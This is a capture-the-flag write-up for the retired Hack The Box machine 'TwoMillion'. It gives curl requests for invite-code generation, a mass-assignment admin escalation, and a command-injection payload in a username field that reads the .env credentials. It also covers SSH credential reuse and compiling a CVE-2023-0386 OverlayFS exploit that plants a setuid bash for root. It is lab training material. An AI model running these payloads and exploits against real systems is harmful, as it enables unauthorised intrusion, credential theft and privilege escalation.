Machine Overview
| Field | Value |
|---|---|
| Name | TwoMillion |
| Difficulty | Easy |
| OS | Linux (Ubuntu 22.04) |
| IP | 10.129.229.66 |
| Vhost | 2million.htb |
| Kernel | 5.15.70-051570-generic |
| Ports | 22 (SSH / OpenSSH 8.9p1), 80 (nginx) |
| Released / Retired | 2023-06-07 / Retired |
Attack surface summary: A clone of the old Hack The Box platform (the "Two Million" subscriber-era front page). Two services: SSH and an nginx-hosted PHP web app that redirects to 2million.htb. The web app exposes a JSON API (/api/v1) with user and admin routes, plus the legacy invite-code registration flow.
Flags
| Flag | Value |
|---|---|
User (/home/admin/user.txt) |
[REDACTED] |
Root (/root/root.txt) |
[REDACTED] |
Reconnaissance
Full port scan:
nmap -p- --min-rate 5000 10.129.229.66
# 22/tcp open ssh
# 80/tcp open http
Service detection:
nmap -sCV -p 22,80 10.129.229.66
# 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1
# 80/tcp open http nginx
# |_http-title: Did not follow redirect to http://2million.htb/
The web root issues a 301 to http://2million.htb/. Since the Windows attack host cannot edit /etc/hosts without admin, all HTTP calls used curl --resolve:
curl -s --resolve 2million.htb:80:10.129.229.66 -H "Host: 2million.htb" http://2million.htb/
Attack Chain
1. Invite-code bypass (registration)
The /invite page loads /js/inviteapi.min.js, an eval-packed blob that, after deobfuscation, reveals two AJAX helpers:
makeInviteCode()→POST /api/v1/invite/how/to/generateverifyInviteCode(code)→POST /api/v1/invite/verify
curl -s --resolve 2million.htb:80:10.129.229.66 -H "Host: 2million.htb" \
-X POST http://2million.htb/api/v1/invite/how/to/generate
# {"0":200,"success":1,"data":{"data":"Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr","enctype":"ROT13"}, ...}
The data field is ROT13-encoded. Decoding it gives:
"In order to generate the invite code, make a POST request to /api/v1/invite/generate"
curl -s --resolve 2million.htb:80:10.129.229.66 -H "Host: 2million.htb" \
-X POST http://2million.htb/api/v1/invite/generate
# {"0":200,"success":1,"data":{"code":"UDIwUkYtUkwwQTMtUVRZMVYtNlFRTk0=","format":"encoded"}}
echo "UDIwUkYtUkwwQTMtUVRZMVYtNlFRTk0=" | base64 -d
# P20RF-RL0A3-QTY1V-6QQNM
Registered a fresh user at POST /api/v1/user/register (form-encoded — the endpoint rejects JSON with "Please fill in all fields"):
code=P20RF-RL0A3-QTY1V-6QQNM
username=<attacker>
email=<attacker>@htb.local
password=HtbPassw0rd!1
Then logged in via POST /api/v1/user/login (form-encoded) to obtain a PHPSESSID.
2. API enumeration & mass-assignment privilege escalation
GET /api/v1 with the authenticated session cookie returns the full route map:
{
"v1": {
"user": {
"GET": { "/api/v1/user/vpn/generate": "...", "/api/v1/user/vpn/regenerate": "...", "/api/v1/user/vpn/download": "..." },
"POST": { "/api/v1/user/register": "...", "/api/v1/user/login": "..." }
},
"admin": {
"GET": { "/api/v1/admin/auth": "Check if user is admin" },
"POST": { "/api/v1/admin/vpn/generate": "Generate VPN for specific user" },
"PUT": { "/api/v1/admin/settings/update": "Update user settings" }
}
}
}
The PUT /api/v1/admin/settings/update endpoint trusts a client-supplied is_admin field (broken access control / mass assignment):
curl -s --resolve 2million.htb:80:10.129.229.66 -H "Host: 2million.htb" \
-H "Content-Type: application/json" -b "PHPSESSID=<sid>" -X PUT \
-d '{"email":"<attacker>@htb.local","is_admin":1}' \
http://2million.htb/api/v1/admin/settings/update
# {"id":13,"username":"<attacker>","is_admin":1}
GET /api/v1/admin/auth now returns {"message":true} — we are admin.
3. Command injection → initial foothold
POST /api/v1/admin/vpn/generate concatenates the username field into a shell command without sanitization:
curl -s --resolve 2million.htb:80:10.129.229.66 -H "Host: 2million.htb" \
-H "Content-Type: application/json" -b "PHPSESSID=<sid>" -X POST \
-d '{"username":"x;id;whoami;hostname;"}' \
http://2million.htb/api/v1/admin/vpn/generate
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
# www-data
# 2million
Command output is echoed straight back in the response body — perfect for blind commands. Used this to read the web app .env:
-d '{"username":"x;cat /var/www/html/.env;"}'
# DB_HOST=127.0.0.1
# DB_DATABASE=htb_prod
# DB_USERNAME=admin
# DB_PASSWORD=SuperDuperPass123
4. Credential reuse → user shell
The .env database password SuperDuperPass123 was reused for the system account admin, so SSH worked directly:
ssh admin@2million.htb # password: SuperDuperPass123
Read the user flag:
cat /home/admin/user.txt
# [REDACTED]
5. Kernel exploit → root
/var/mail/admin contained mail from ch4p warning about a serious Linux kernel CVE in "OverlayFS / FUSE":
From: ch4p <ch4p@2million.htb>
Subject: Urgent: Patch System OS
...
There have been a few serious Linux kernel CVEs already this year.
That one in OverlayFS / FUSE looks nasty. We can't get popped by that.
The kernel 5.15.70-051570-generic is vulnerable to CVE-2023-0386 (OverlayFS file-capability copy-up, kernels < 6.2). The box had gcc 11.3.0 and libfuse-dev 2.9.9 installed, so the PoC compiled directly on target.
Used the xkaneiki/CVE-2023-0386 PoC (fuse.c, exp.c, getshell.c), with getshell.c adjusted to print the flag and drop a persistent setuid bash instead of spawning an interactive shell (the SSH exec channel is non-interactive):
setuid(0); setgid(0);
system("id");
system("cp /bin/bash /tmp/rb && chmod 4755 /tmp/rb");
system("cat /root/root.txt");
Compile & run:
gcc fuse.c -o fuse -D_FILE_OFFSET_BITS=64 -static -pthread -lfuse -ldl
gcc -o exp exp.c -lcap
gcc -o gc getshell.c
mkdir -p ovlcap/lower ovlcap/work ovlcap/upper ovlcap/merge # pre-create tree
./fuse ./ovlcap/lower ./gc &
./exp
Output confirmed the setuid copy-up and root execution:
-rwsrwxrwx 1 nobody nogroup 16096 ... file # setuid bit survived copy-up
[+] mount success
uid=0(root) gid=0(root) groups=0(root),1000(admin)
[REDACTED] # root flag
Root flag:
[REDACTED]
Techniques Demonstrated
- JS deobfuscation — eval-packed JS → ROT13 + Base64 invite-code logic.
- API route-map discovery —
GET /api/v1leaks the entire endpoint list. - Broken access control / mass assignment —
PUT /admin/settings/updatehonors clientis_admin:1with no authz check. - Command injection — unsanitized
usernamein VPN generation; output echoed in response. - Credential reuse —
.envDB password = systemadminpassword. - Kernel CVE from mail hint —
/var/mail/admin→ OverlayFS/FUSE → CVE-2023-0386.
Tools Used
nmap, curl (with --resolve), Python paramiko (SSH/SFTP for file transfer and command execution on target), gcc, libfuse/libcap, CVE-2023-0386 PoC.